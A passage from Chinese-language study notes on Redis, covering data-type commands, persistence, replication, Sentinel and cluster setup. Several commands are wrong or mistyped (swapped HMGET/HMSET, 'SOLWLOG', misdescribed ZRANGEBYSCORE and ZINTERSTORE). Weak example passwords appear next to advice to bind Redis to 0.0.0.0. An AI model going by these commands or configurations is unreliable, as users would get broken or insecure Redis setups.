file）\nRedis支持多种数据结构，例如：string（字符串），hash（哈希），list（列表），set（集合），zset(Sorted Set: 有序集合)，BitMaps（位图），HyperLogLog（超小内存唯一值计数），GEO（地理信息定位）\nRedis支持分布订阅，Lua脚本，事务，pipeline等功能，支持主从复制，确保高可用\nRedis可以用来当做缓存系统，用户访问app应用服务时，一般来说会优先从缓存中读取，如果缓存没有再到存储介质中读取，并且将该数据会在存储在缓存中，这个缓存就是Redis\nRedis安装\n编译安装（linux）\n下载redis-x.x.x.tar.gz\n解压\ntar xzf redis-x.x.x.tar.gz\n进入解压出来的文件夹中，执行make\u0026amp;\u0026amp;make install命令\n因为用的是默认配置\n进入src，./redis-server ../redis.conf\n测试客户端\n./redis-cli\nsrc目录下可看到6个可执行文件，作用如下：\nredis-server可执行文件用于启动redis服务器\nredis-cli可执行文件用于redis命令行客户端，用于连接redis服务器\nredis-benchmark可执行文件用于redis性能测试，基准测试\nredis-check-aof可执行文件用于修复AOF可持久化文件\nredis-check-dump可执行文件用于RDB可持久化文件的检查工作\nredis-sentinel可执行文件用于启动高可用的sentinel模式（该模式又叫哨兵）\n使用redis并不推荐使用windows，虽然微软官方提供了redis补丁，但是redis版本太低了，建议使用Linux虚拟机或者docker容器来跑\nredis有3种启动服务器方式\n默认配置启动\nredis-server\n动态参数启动\nredis-server \u0026ndash;port 6380\n配置文件启动（推荐，通过redis.conf文件来进行配置）\nredis-server configPath\n客户端连接服务（6379是redis默认端口）\nredis-cli -h 127.0.0.1 -p 6379 -a \u0026ldquo;root\u0026rdquo;\nredis.conf配置\n默认端口为6379\nport 6379\n要远程访问则设置为0.0.0.0\nbind 127.0.0.1\nlogfile，redis日志名\ndir，redis工作目录（日志文件和持久化文件存储在哪个文件）\n以守护进程运行（yes为守护进程），注意如果是以守护进程运行，那么会默认将pid写入到/var/run/redis.pid\ndaemonize yes\n指定pid位置\npidfile /var/run/redis.pid\n数据库文件\ndbfilename xxx.rdb\n当客户端被闲置了多久关闭链接，0为关闭该功能\ntimeout 0\n存储到本地数据库的时候是否压缩数据，采用LZP压缩\nrdbcompression yes\n超时\ntimeout 300\n密码\nrequirepass root\nredis的通用命令\n遍历输出所有key\nKEYS *\n输出所有以r开头的key\nKEYS r*\n输出所有以ra或者rb，rc开头的key\nKEYS n[a-c]\n输出roo?，?号位占位\nKEYS roo?\nKEYS不推荐使用，因为KEYS命令的时间复杂度为O(n)\n输出key的总数（时间复杂度为O(1)，不需要读取全部key，redis会提供一个计数器来实时更新记录key的总数）\nDBSIZE\n判断一个key是否存在（真返回1，假返回0）\nEXISTS a\n删除指定key（可删除多个）\nDEL a b\n设置a将在10秒后过期\nEXPIRE a 10\n查询a将在多少秒后过期\nTTL a\n移除a的移除时间\nPERSIST a\n查询a的类型\nTYPE a\n上面几条命令除了KEYS不是O(1)外，其他都是O(1)\n清除全部数据（key）\nFLUSHALL\nRedis的命令执行是单线程（例如网络请求，数据操作）\n一次只能执行一条命令，如果某条命令执行过长时间，会导致阻塞\n字符串\n注意：key不要使用单引号双引号来表示双引号，没有必要\nname键存储字符串root\nSET name root\nname为键（key），root为name键的值（value）\n当key不存在时添加value值（存在则不进行操作）\nSET name 1 NX\n当key存在时添加value值\nSET name 1 XX\n设置key的过期时间（单位为秒，这里表示10秒钟，可使用TTL查看过期时间）\nSETEX name 10 1\n设置key的过期时间，单位为毫秒\nSET name 1 PX 1000\n获取name的值\nGET name\n删除name\nDEL name\n将a的值自增1\nGET a 1 INCR a\n将a的值自减1\nDECR a\n将a的值自增指定值，这里就是a的值加99\nINCRBY a 99\n将a的值自减指定值\nDECRBY a 99\n批量获取多个key\nMGET a b c\n批量设置多个key-value\nMSET a 1 b 2 c 3\n设置新的value，并且返回 旧的value\nGETSET a 1\n将新的value追加到旧的value中去\nAPPEND a 2\n输出字符串的长度（注意中文，一个中文占2个字节，时间复杂度也为O(1)）\nSTRLEN a\n增加key的值，如果a的值为1的话，就是1+3.14\nINCRBYFLOAT a 3.14\n输出0到2下标的字符串\nGETRANGE a 0 2\n将第4个下标的字符串修改b（因为字符串下标从0开始）\nSETRANG hallo 3 b\n上面指令中除了MGET和MSET外（为O(n)），时间复杂度都为O(1)\n哈希是键值对的集合，是字段和值之间的映射（field（就是字段）不能相同，而value允许相同）\n设置哈希表user（name为field，root为value） HSET user name root\n获取哈希表user中指定name字段的值 HGET user name\n获取哈希表user中的全部字段和值 HGETALL user\n删除哈希表user中的name字段 HDEL user name\n判断哈希表user中是否存在name字段 HEXISTS user name\n输出哈希表user中存在多少个字段 HLEN user\n一次添加多条字段（时间复杂度为O(n)） HMGET user name root pass 123\n一次获取多条字段的值（时间复杂度为O(n)） HMSET user name pass\n输出user中的全部字段和值（时间复杂度为O(n)） HGETALL user\n输出user的全部值（时间复杂度为O(n)） HVALS user\n输出user中的全部字段（时间复杂度为O(n)） HKEYS user\n列表（有序，可重复，左右两端都可以插入值）\n将值插入hallo列表的最左端中（根据插入的个数决定时间复制度，实质效果就是 c b a，因为是从左端插入的） LPUSH hallo a b c\n值将从hallo列表的最右端中插入（根据插入的个数决定时间复制度） RPUSH hallo a b c\n在指定值之前插入一个新的值，这个表示b插入到a的前面 (时间复杂度为O(n)) LINSERT hallo BEFORE a b\n在指定值之后插入一个新的值，这个表示b插入到a的后面 (时间复杂度为O(n)) LINSERT hallo AFTER a b c\n从左边移除一个key LPOP hallo\n从左边移除一个key RPOP hallo\n删除全部于a值相等的（为0是相等，大于0为从列表的最右边删除以a值相等的指定数据的值（例如LREM hallo 1 a，就是从右侧（列表底部）删除1个和a值相等的值（因为列表允许存在重复的值，可用于去重）），小于0为从列表的最左侧删除于a值的值（例如-1就是删除最左侧删除和a值的相等的1个值（绝对值））） LREM hallo 0 a\n栽剪1到3的值（0以及3之后的值将被移除） LTRIM hallo 1 3\n查询0到5的值，正值是从左到右获取（从0开始），负数就是从右到左查（-1开始）（O(n)） LRANGE hallo 0 5\n获取指定索引的值(O(n)) LINDEX hallo 0\n获取列表的长度 LLEN hallo\n设置1索引的值为a LSET hallo 1 a\n获取列表的第一个元素（最左边）（会输出第一个元素的key，以及值），如果列表不存在元素则阻塞列表，一直到等待指定时间后返回nil，这里是等待10秒 BLPOP hallo 10\n删除列表的最后一个元素（最右边）（会输出最后一个元素的key，以及值），如果列表不存在元素则阻塞列表，一直到等待指定时间后返回nil，这里是等待10秒 BRPOP hallo 10\n\u0026ndash;\n集合（无序集合，集合的特定就是没有重复元素，集合是利用哈希表实现的，因此添加，删除，查找的复杂度都是O(1)）\nSADD hallo abc\nSADD hallo xyz\n删除集合（将abc从hallo集合中删除）\nSREM hallo abc\n输出指定集合中的元素个数\nSCARD hallo\n判断\u0026rsquo;abc\u0026rsquo;是否存在于hallo集合中（真返回1，假返回0）\nSISMEMBER hallo \u0026lsquo;abc\u0026rsquo;\n随机输出指定集合的元素，其中count参数是随机输出几个元素\nSRANDMEMBER hallo count = 2\n输出指定集合的全部元素\nSMEMBERS hallo\n查找第一个集合和其他集合之间不相同的元素（差集）\nSDIFF hallo hhh\n将多个集合之前不相同元素存储到另一个集合中去，例子中是将hallo和hhh集合中不相同的元素存储到abcxyz集合中去\nSDIFFSTORE abcxyz hallo hhh\n输出指定集合中的相同的元素（交集，指定集合中存在相同的元素）\nSINTER hallo hhh\n输出指定集合的并集，就是将多个集合合并成一个集合\nSUNION hallo hhh\n随机从集合种移除指定个数的元素，如果不指定个数，默认移除1个元素\nSPOP hallo 2\n有序集合（根据第二个参数（分数）来排序）（ZADD时间复杂度为O(logN)）\nZADD hallo 0 abc\nZADD hallo 1 xyz\n删除指定元素（可多个） ZREM hallo abc\n获取abc的分数 ZSCORE hallo abc\n增加或者减少abc的分数，这里是加1（负数为减） ZINCRBY hallo 1 abc\n获取hallo的元素个数 ZCARD hallo\n获取abc在hallo中的排名（从0开始，正序，从小到大的排名） ZRANK hallo abc\n逆序排序（从大到小，例子是表示逆序输出得到为0到5之间的集合元素）\nZRANGEBYSCORE hallo 0 5\n逆序排序输出集合的全部元素\nZREVRANGEBYSCORE hallo +inf -inf\n正序输出分数在0到10之间的元素\nZRANGEBYSCORE hallo 0 10 WITHSCORES\n有序输出集合的全部元素，WITHSCORES参数为输出时携带得分\nZRANGE hallo 0 -1 WITHSCORES\n有序输出集合的索引为0到5之间的元素（第一个到第六个元素，-1表示最后一个元素，-2是最后面的第2个元素，以此类推）\nZRANGE hallo 0 5 WITHSCORES\n获取hallo集合中分数0到100的元素有多少个\nZCOUNT hallo 0 100\n将分数排名第一个的元素到第三个元素移除 ZREMRANGEBYRANK hallo 0 2\n将分数100到300之间的元素移除 ZREMRANGEBYSCORE hallo 100 300\n获取abc在hallo中的排名（逆序，从大到小的排名，排位0的值的分数最大） ZREVRANK hallo abc\n获取hallo中第一个元素到第三个元素的值（带分数），先根据分数从大到小排序，再获取 ZREVRANGE hallo 0 2 WITHSCORES\n获取指定有序集的交集（这里3表示有序集中存在4个值，就是每个有序集提供4个值，这里指定了2个有序集，就是4+4，hallo交集中就有8个值），并且存储到hallo交集中 ZINTERSTORE hallo 3 xyz hhh\n获取指定有序集的并集（其中WEIGHTS后面的参数分别表示对应有序集的乘法因子，例如xyz中第一个元素得分为2，那么就是2x2，就是4，而这个4被做为该值的得分传入到新的hallo并集中，并集将集合合并在一起，AGGREGATE后面的参数表示集合的聚合方法，默认为SUM（就是将所有指定集合中的某个元素的分数的和作为并集中该成员的分数，简单来说就是将集合中相同元素的分数相加，得到的和作为并集，也就是新创建的集合中作为该元素的分数），除了SUM外还有MIN（获取全部集合中相同元素的得分取自这些相同元素中最小的得分作为新集的该元素的得分），MAX（获取全部集合中相同元素的得分取自这些相同元素中最大的得分作为新集的该元素的得分）） ZUNIONSTORE hallo 3 xyz hhh WEIGHTS 2 3 AGGREGATE MIN\n慢查询（特点：先进先出队列，固定长度，保存于内存中）\n慢查询就是寻找长时间执行的命令，并且将该命令存储在日志中，慢查询只能记录命令执行的时间\n慢查询利用2个参数来实现的，这2个参数分别为slowlog-max-len和slowlog-log-slower-than\n其中slowlog-log-slower-than是记录执行超过指定时间的命令，单位为微秒，默认值为10000\nslowlog-max-len是限制慢查询日志的条数（慢查询日志的数据结构为列表，默认值为128，因为该慢查询日志是存储在内存中，重启redis会丢失日志的记录）\n当慢查询日志达到阈值时，如果还继续添加新的慢查询进来，将会将当前日志中最早的慢查询删除（先进先出）\n通过SOLWLOG GET命令查看慢查询日志\n慢查询日志的结构有6个值来表示1个慢查询，分别为慢查询的唯一ID，该命令执行的时间戳，慢查询的命令和参数，客户端地址和端口，客户端名称（通过client setname设置）\n查看存在多少条慢查询\nSOLWLOG LEN\n获取指定多少条慢查询\nSOLWLOG GET 1\n清除慢查询的全部记录\nSOLWLOG RESET\npipeline流水线机制\nredis的命令执行由发送命令，再到命令进行排队（无法确定下个执行的命令是哪个），命令执行，最后返回结果\n这个命令的过程又叫Round trip time，RTT，往返时间\npipeline流水线机制就是减少RTT的\npipeline就是将命令一次性通过网络获取多条命令，然后再执行多条命令（打包组装）\n注意：原生批命令(mset, mget)是原子性，而pipeline是非原子性，而且应该也必须限制pipeline的执行命令的个数\n发布订阅\n发布1到hallo频道中去 PUBLISH hallo 1\n订阅hallo频道 SUBSCRIBE hallo\n取消订阅hallo频道 UNSUBSCRIBE hallo\n订阅全部以h开头的频道（定义模式） PSUBSCRIBE h*\n取消订阅全部以h开头的定义 PUNSUBSCRIBE h*\n查看至少有一个订阅的频道并且要以h开头（也就是活跃的频道） PUBSUB CHANNELS h\n输出指定频道的订阅数 PUBSUB NUMSUB hallo\n输出当前订阅模式的数量 PUBSUB NUMPAT\nBitmap位图（位图就是位的映射，使用一个bit位来表示某个元素的值）\n位图的每个值只占用一个bit位，位图本质上还是字符串类型\n1个字节由8个二进制位表示，例如字符串a的二进制为01100001\n创建hallo位图 SET hallo a\n查询b字符的八位二进制码（得到01100010） BIN(ORD(\u0026lsquo;b\u0026rsquo;))\n将a值改为b，只需要将最后一位改为0，倒数第二位改为1，例如：\n给hallo位图的最后一位设置0值 SETBIT hallo 7 0\n给hallo位图的倒数第二位设置1值 SETBIT hallo 6 1\n通过执行GET hallo命令，可以看到已经变成了b\n获取hallo位图中第一位的值 GETBIT hallo 0\n获取hallo位图中第一位到第八位之间值为1的个数（如果不指定就是获取整个位图中值为1的个数） BITCOUNT hallo 1 8\n将abc位图和xyz位图交集，并且将得到的新集存储在hallo位图中（and交集，or并集，not非集，xor异或集） BITOP AND hallo abc xyz\n获取hallo位图中中第一位到第八位之间第一个值为1位置（偏移量） BITPOS hallo 1 1 8\nhyperloglog\nhyperloglog（使用极小的空间来完成计数，本质还是字符串，特点就是输入的数量很多或者值有多大，占据的空间都是固定的（一个HyperLogLog键只使用12KB内存））\n向hyperloglog添加值 PFADD hallo a b c\n查看hyperloglog中存在多少个值（注意：返回的是基数，就是hyperloglog中存在相同的值时，会被忽略） PFCOUNT hallo\n合并2个（也可多个）hyperloglog到hallo PFMERGE hallo abc xyz\nhyperloglog的缺点就是错误率高（官方提供的错误率值是0.81%），无法获取单个数据\ngeo\nGEO（地理信息定位），用于存储经纬度，计算两地距离，范围计算等等\n添加经纬度到hallo（guangzho是标识） GEOADD hallo 113.27 23.13 guangzho GEOADD hallo 114.07 22.62 shenzheng\n从GEO获取经纬度 GEOPOS hallo guangzho\n获取两个经纬度之间的距离（m米，km千米，mi英里，ft尺） GEODIST hallo shenzheng guangzho\n获取guangzho附近1000千米的标识信息 GEORADIUS hallo guangzho 1000km\n持久化（redis数据存储于内存中，持久化功能可将数据的更新异步存储在硬盘中）\nRDB（快照），AOF（日志）\n持久化的RDB和AOF\nRDB（redis database）：Redis默认持久化策略，通过内存快照来实现持久化\nRDB有3种模式，一个是通过sava命令来同步触发redis进行RDB文件（RDB文件是二进制文件）生成，另一种就是通过bgsave命令来异步进行持久化文件RDB生成（该命令会让redis server fork一个子进程来进行该操作，这样主进程可以继续处理请求，不会阻塞），最后一个就是通过redis.conf配置文件来配置RDB自动生成，例如save 900 1，这个命令表示900秒内执行了一次set命令就生成一次RDB持久化文件（自动触发）\n注意：如果之前存在RDB文件，执行sava命令，会生成一个新的RDB文件去覆盖这个老的RDB文件\n触发第一种模式很简单，就执行sava命令（时间复杂度为O(n)），redis接收该命令，就会立刻去创建生成RDB文件\n触发第二种模式，也很简单，也是就执行bgsave命令（时间复杂度为O(n)），不过redis接收该命令后会利用Linux的fork()函数来生成一个子进程，让这个子进程来处理生成RDB文件\nsave和bgsave的区别就是，save会阻塞命令的执行，bgsave需要另一个进程来处理（消耗内存）\n第三种模式通过配置文件来自动触发，当满足条件时，创建RDB文件是通过bgsave命令完成的\n配置文件参数还有dbfilename（来表示rdb文件名，必须是.rdb后缀），以及上面提到的dir（来表示rdb持久化文件放到哪个文件夹中），stop-writes-on-bgsave-error（如果bgsave命令发生错误是否停止写入，yes或者no），rdbcompression（rdb文件是否使用压缩模式），rdbchecksum（是否对rdb文件进行检验操作）\n恢复数据也很简单，将ADB文件放到redis安装目录下，然后重启（redis会在启动的时候根据RDB文件来恢复数据），可执行CONFIG GET dir来得到redis安装目录地址\nRDB的缺点就是耗时（生成RDB文件慢，因为需要复制全部数据，时间复杂度是O(n)），内存消耗大（fork进程），硬盘资源消耗大（当数据很庞大时），而且不可控制（无法指定什么时间备份），存在丢失数据的风险（当自动备份没有触发，而且也没有手动触发时宕机，就会导致数据丢失了）\nAOF（每执行一次写命令（例如：SET，HMSET，SADD），就会将该命令存储在AOF文件中，类似于MySQL的sql备份）\n通过redis.conf配置文件来配置AOF，appendonly（是否启动AOF持久化模式），appendfilename（AOF持久化文件名称，必须是.aof后缀），appendfsync（AOF的三种持久化策略：always（每次执行写命令时间都会将该命令同步到AOF可持久化文件中），everysec（每秒将缓存区中的命令同步到AOF可持久化文件中），no（不需要将缓存区的命令同步到AOF可持久化文件中，让操作系统来决定什么时候同步，Linux系统默认30秒将缓存区数据写入）），no-appendfsync-on-rewrite（表示是否在同步期间对新写命令不进行同步，先将其存储在缓存区，等同步完成在写入，如果no的话，会阻塞appendfsync，如果设置yes可能存在会丢失数据的风险（新写命令没有持久化，Linux默认每隔30秒执行一次缓存区同步到硬盘的操作）），auto-aof-rewrite-percentage（因为AOF是使用追加的方式的，因此AOF可持久化文件会越来越大，因此存在AOF重写机制（简化AOF文件里面命令，例如去除过期命令，将多条命令合并成1条命令等等，得到新的AOF后，将老的删除，写入新的），当满足某个阀值时，会启动AOF重写，该参数是表示当前AOF文件大小是上次的大小的多少倍触发（单位为百分比，100就是指一倍），auto-aof-rewrite-min-size（当AOF大于该阀值时触发，例如64mb），aof-load-truncated（因为AOF文件可能是不完整的（宕机或者异常导致的不完整），表示是否在恢复数据时自动进行AOF修复操作，no表示不，需要手动redis-check-aof修复，yes表示是的），dir参数和RDB介绍一样的作用（AOF文件存储在哪个目录）\n手动修复命令redis-check-aof \u0026ndash;fix\n手动AOF重写命令bgrewriteaof（执行到该命令会让redis服务器fork一个子进程来进行AOF重写操作，不会阻塞命令执行，而且只有当完成之后创建一个新的AOF文件来覆盖老的AOF文件（不存在bgrewriteaof命令执行失败后，导致数据丢失的情况，必须时执行成功后再覆盖））\n注意：auto-aof-rewrite-percentage和auto-aof-rewrite-min-size，必须都满足这2个设置的阀值才会重写（避免AOF文件很小也导致触发）\n注意：每次执行写命令时间并不会立刻同步到AOF可持久化文件中去，而是先写入缓存区，再根据策略来同步到AOF可持久化文件，每个策略都有自己的缺点和优点，always不怕丢数据，但是IO消耗大，everysec对硬盘友好，但是存在丢失那1秒数据的风险，no不可控制什么时候同步，但是性能高\nAOF恢复数据和RDB一样，将AOF文件放到Redis安装目录下\n优化fork\nfork()操作是同步的，内存越大耗时越慢，可通过latest_fork_usec命令查看最近一次fork操作的耗时（单位微秒）来进行排查，例如：redis-cli info latest_fork_usec\nmaxmemory配置Redis实例最大可用内存，例如：CONFIG SET maxmemory 100MB或者修改redis.conf的maxmemory参数\n通过配置Linux内存分配策略，例如：vm.overcommit_memory = 1（1表示内核允许超量使用内存，直到用完，0表示内核会检查是否还有足够的内存，如果有则对内存申请通过，否则失败，2表示内核不会超量使用内存，整个内存空间不会超过swap+50%的RAM，课外小知识：Linux内核会批准大部分的申请内存的请求，但是分配到了内存后，不能使用内存，只有当内存赋值时才分配内存，这个技术叫overcommit，如果策略允许超量使用时，也就是允许overcommit，当内存分配不足时，会导致OOM killer，通过杀死用户态进程来释放内存）\n通过提高AOF或者RDB自动触发生成的阀值来降低fork的频率，非不必要时不进行自动触发\n优化子进程\nCopy on write机制：fork会创建一个除了pid不同外和父进程完全相同的子进程，但是这些数据是对子进程无用的（因为子进程使用exec()来实现自己的功能时，会清空这些数据），Copy On Write可以让子进程和父进程共享内存空间（直接引用父进程的内存空间，这样子进程更轻量化了，实质上在没有exec()之前，子进程和父进程使用的是同一块物理内存，只是虚拟内存不同，当exec之后，才会给子进程分配一个独立的物理内存）\n该机制的优点就是减少不必要的内存分配，缺点是当fork之后父进程或者子进程进行写操作，会导致页异常中断（page-fault），因为这个时候子进程和父进程都还是同一块物理内存，最后因为复制数据导致资源浪费\nAOF追加阻塞（everysec策略，每1秒进行一次同步操作）\n因为主线程会对比AOF的同步时间，如果上一次同步时间在2秒，则正常，超过2秒后，主线程将会导致阻塞，一直到同步操作完成，因此everysec策略最多可以丢2秒的数据\n主从复制（提供数据副本（数据灾备），扩展读性能（读写分离））\n从节点复制主节点的数据（一从一主或者一主多从）\n主从复制配置（有2种）\nslaveof命令（在从节点中运行该命令，例如slaveof 192.168.1.2 6379，就能复制主节点192.168.1.2:6379的数据了，而且主节点的数据更新都能同步到从节点中）\n将该节点取消从节点 slaveof no one\n配置（redis.conf）\n配置主节点 slaveof 192.168.1.2 6379\n如果需要设置从连接主的密码，需要设置masterauth参数，例如masterauth \u0026ldquo;123456\u0026quot;或者执行命令config set masterauth \u0026ldquo;123456\u0026rdquo;\n如果需要设置密码，可以设置requirepass参数，例如requirepass \u0026ldquo;123456\u0026quot;或者执行命令config set requirepass \u0026ldquo;123456\u0026rdquo;\n如果想设置从节点只读，可以设置slave-read-only yes，如果设置no，写入的数据也会在主从同步完成后被删除\n全量复制和部分复制\n全量复制就是将主节点的全部数据一次性发送给从节点复制\n部分复制就是主从复制过程导致数据丢失了，从节点在连接到主节点后，主节点可以将丢失的数据发送给从节点，从而避免全量复制的过高的资源消耗\nrunid（redis服务器的标识符（用于区分redis服务器），一重启redis服务器后runid都会发生改变）\n可通过info server | grep run命令来查看\n复制偏移量就是命令的字节长度，可以用于判断主从节点数据是否一致，可使用info replication命令查看\n主节点会记录自身的复制偏移量（master_repl_offset，可通过info replication查看），从节点也会每秒将自身的复制偏移量发送给主节点（slave的offset），这样主节点就可以记录从节点的复制偏移量\nSentinel架构（不可存储数据，对redis节点的故障判断，故障master转移处理以及通知客户端该节点状态）\n故障转移：当多个sentinel发现master存在故障，会通过选举算法选举出一个sentinel，然后该sentinel会选择一个slave从节点来当master主节点，最后通知其他slave从节点成为该新的master的从节点并且通知客户端主从节点的变化（如果出现故障的master恢复后会成为新的master的从节点）\n安装Sentinel和配置\n开启主从节点，然后开启Sentinel监控主节点\nSentinel配置文件（sentinel.conf，redis配置文件的参数可用于Sentinel配置文件（例如port，dir都是可以的，Sentinel就是特殊的redis））\nsentinel monitor hallomaster 127.0.0.1 6379 2\rsentinel down-after-milliseconds hallomaster 30000\rsentinel parallel-syncs hallomaster 1\rsentinel failover-timeout hallomaster 180000\r第一行是该Sentinel监控的master节点的信息，hallomaster是master节点名称，master节点IP，master节点的端口，以及当多少个Sentinel认定该master节点存在故障时进行故障转移\n第二行Sentinel监控master节点故障多少毫秒后认定故障\n第三行表示发送故障转移时最多能有几个从节点对新的master进行同步（越少，新的master压力越小）\n第四行表示故障转移时最多允许多少毫秒，当超过时，认定故障转移失败\n启动Sentinel监控节点\nredis-sentinel redis-sentinel.conf\r注意：因为选举算法的原因，Sentinel监控节点最少要有3个，如果只有2个Sentinel监控节点，发生故障，因为投票机制问题（要选一个Sentinel监控节点来当Sentinel监控主节点，让这个Sentinel监控节点来确定哪个从节点来当主节点），只有当Sentinel监控集群超过一步的节点检测失效才会生效，而且Sentinel监控节点也发生故障了，导致故障转移无法生效，而且Sentinel监控节点数最后是奇数，避免投票偶数出现相同票数的情况\nSentinel监控节点定时任务\nSentinel监控节点每10秒对master和slave执行info（用来发现slave以及主从关系的确认），每2秒对master节点的channel进行交换信息（订阅发布，频道名为__sentinel__:hello），每1秒对其他Sentinel以及redis主从节点执行ping\n客观下线和主观下线，以及领导者选举\n客观下线\nsentinel monitor hallomaster 127.0.0.1 6379 2\n主观下线\nsentinel down-after-milliseconds hallomaster 30000\n当主观下线条件满足后，会执行sentinel is-master-down-by-addr命令来询问其他Sentinel监控节点是否确定master已经下线了\nsentinel is-master-down-by-addr 127.0.0.1 6379 0 *\n每个做主观下线的Sentinel监控节点向其他Sentinel监控节点发送该命令，并且要求设置该为领导者\n如果接收该命令的Sentinel监控节点没有同意过其他Sentinel监控节点的请求，那么将同意，否则拒绝（在周期内）\n如果Sentinel监控节点发现自己的票超过了Sentinel集合的半数，并且也是超过了客观下线的条件时，该监控节点成为领导者\n如果有多个Sentinel监控节点成为领导者，将会在一段时间后重新选举\n领导者节点会从slave节点中选择一个来当master节点，对该slave节点执行slaveof no one命令来让它成为新的master节点，然后对其他slave节点发送命令，来让其成为新的master节点的slave节点\n然后对故障的master节点配置为slave节点，并且进行监控，当其恢复则发送命令让其去复制新的master节点\n领导者节点选择slave节点当master节点的机制\n选择slave-priority（slave节点优先级）最高的slave节点，存在返回，不存在继续选择\n选择复制偏移量最大的slave节点（复制master节点最完成的），存在返回，不存在继续选择\n选择runID最小的slave节点（也就是最早的slave节点）\n手动故障转移master节点（当需要对master节点进行下线之前的操作）\nsentinel failover hallomaster\nredis cluster\nCluster（集群，解决QPS（或者OPS）无法满足业务需求，硬件无法满足业务需求）\n数据分区（常用的有顺序分区，哈希分区）\n顺序分区：按照顺序（id或者时间等等顺序）进行划分Redis实例，缺点是数据分布不均匀\n哈希分区：具有随机性，数据分布均匀，缺点是无法进行顺序访问\n哈希分区有节点取余分区，一致性哈希分区，虚拟槽分区\n节点取余分区，一致性哈希分区都是客户端分片，在客户端进行计算\n节点取余分区：hash(key)%nodes，优点：简单，缺点：增加或者减少节点需要重新计算来重新映射（推荐采用翻倍扩容来降低影响），重新计算将导致重新计算数据偏移量，节点数越多，花费的时间越长\n一致性哈希分区：hash(key)%2^32，将哈希构造成一个0~2^32的token环形结构，节点的范围在该环形结构内，因为该数值足够大，增加或者减少节点不会导致重新计算哈希的问题\n数据哈希化后，会根据顺时针方向来寻找自己的node节点（简单来说就是将全部数据构造成一个环形，分区就跟切蛋糕一样，该蛋糕是该node节点的，那个蛋糕是那个node节点的）\n增加或者减少节点，将导致数据范围减少或者增加，但是不会像节点取余分区一样，需要重新计算，重新分配数据，数据的偏移量和节点数有关，节点数越多，数据的偏移量越少（10个节点，数据的偏移量只有10%，100个节点，数据的偏移量只有1%），只会影响邻近节点（也可使用翻倍伸缩）\n虚拟槽分区（客户端计算hash，在服务端进行管理节点，槽以及数据）：Redis内置了16384个槽，每个槽都可映射成单个节点（当然节点不可能用这么多，一般都是节点使用多个槽，将16384个槽平均分配给每个节点，CRC16(key)\u0026amp;16383，每个节点都知道自己负责哪个槽，其他节点负责哪个槽（共享节点信息））\n搭建集群\n集群的部署有原生命令部署和官方工具（redis-trib.rb）部署这2种\n原生命令安装\n配置redis文件（redis-192.168.1.2.conf）\ncluster-enabled yes\rcluster-config-file nodes-192.168.1.2.conf\rcluster-node-timeout 15000\rcluster-require-full-coverage no\rcluster-enabled yes表示该redis节点是集群的节点，cluster-config-file为集群运行时，记录该节点的配置以及其他节点的信息状态等等，cluster-node-timeout表示集群中节点失联的最大时间（单位为毫秒），当超过该时间会认定其故障，cluster-require-full-coverage表示是否需要集群的全部节点服务（也就是说为yes时如果只有一个节点故障了，那么这个集群就不可用了）\n开启redis\nredis-server redis-192.168.1.2.conf\r添加集群节点（只需要在一个节点上配置，因为节点之间存在通信交互，当a节点和b节点连接后，a又和c节点连接，b节点知道c节点的存在后彼此感知着对方）\ncluster meet 192.168.1.2 6379\r分配槽（必须将0到16383的16384个槽全部分配完才能处于上线工作状态，这里设置了3个集群主服务）\n192.168.1.2 cluster addslots {0\u0026hellip;5461}\n192.168.1.3 cluster addslots {5462\u0026hellip;10922}\n192.168.1.4 cluster addslots {10923\u0026hellip;16383}\n设置主从关系（故障转移，集群复制，这里是3个主节点和3个从节点来保证高可用）\n192.168.1.5 cluster replicate 主节点的node-id\n192.168.1.6 cluster replicate 主节点的node-id\n192.168.1.7 cluster replicate 主节点的node-id\nnode-id通过cluster nodes命令获取\n查看集群节点的状态\ncluster info\r查看集群节点的槽分配情况\ncluster slots\r测试集群上线情况（-c是以集群模式连接）\nredis-cli -c -p 6379\rset hallo word\r返回ok则认为集群已上线\n集群伸缩\n通过分配槽的16384个槽来进行集群的伸缩\n伸：当需求得不到满足时，添加新节点进来 缩：当不需要这个节点时或者这个节点故障了，移除该节点，下线\n原理就是数据和槽在节点的迁移\n扩容节点\n创建新的节点，这个节点还是孤立节点，需要加入到集群\ncluster meet 192.168.1.10 6385\n查看加入集群是否成功\ncluster nodes\n加入集群后因为没有分配槽，是不进行工作的\n迁移数据和槽\n计算，平均槽数量\n配置主从（新加入的节点设置为从节点）\ncluster replicate 主节点的id\n如果需要配置该节点为主节点，可以\ncluster meet 196.168.1.10 6385\n迁移数据非常麻烦，这里使用redis-trib.rb来完成\nredis-trib.rb是redis官方推出的redis集群管理工具（因为是用ruby编写成的工具，需要安装ruby和rubygem redis客户端）\n安装redis-trib.rb\n安装ruby（redis-trib.rb依赖于ruby）\n使用编译源码的方式来安装ruby\nhttps://cache.ruby-lang.org/pub/ruby/3.1/ruby-3.1.2.tar.gz\n安装redis模块\ngem install redis\nredis-trib.rb实质上在redis源码的src目录里，可以拷贝redis-trib.rb到/usr/bin目录下，或者创建一个软链接都可以\n分配槽数据\nredis-trib.rb reshard 192.168.1.2:6385\n它会问你进行迁移多少个槽，1到16384，根据需求进行分配\n然后问你槽迁移到哪个节点，提供节点ID\n最后它问你源节点的id是什么，如果使用all，将表示全部节点都作为分配槽的源节点，当然也可以指定源节点，只需要输入其节点id即可，输入完毕后输入done完成\n它问你操作是否确认，无误yes，有误请no，输入完毕后就会进行迁移\n收缩集群\n下线节点持有槽进行迁移，通知其他节点忘记该下线节点，下线节点\n忘记节点可通过cluster forget 节点ID来完成，这个命令可以让当前节点忘记目标id的节点\n注意：该命令存在时效性，60秒内有效，如果60秒内集群内的节点都没有使用该命令忘记该节点，会导致该节点忘记失败，因为只有有一个节点没有忘记都会对该节点进行通信，导致其他节点忘记命令失效\n迁移槽数据\nredis-trib.rb reshard \u0026ndash;from 需要下线的节点id \u0026ndash;to 迁移数据到哪个节点的id \u0026ndash;slots 迁移多少个槽 192.168.1.10:6385\n是否确认操作，yes或者no\n如果需要将槽分配给多个节点，需要多次执行该命令，只需要修改迁移数据到哪个节点id和迁移多少个槽即可，迁移多少个槽给哪个节点，看需求分配\n下线节点（这个192.168.1.2:6385是集群内部的节点，不是下线节点，通过该节点来广播）\nredis-trib.rb del-node 192.168.1.2:6385 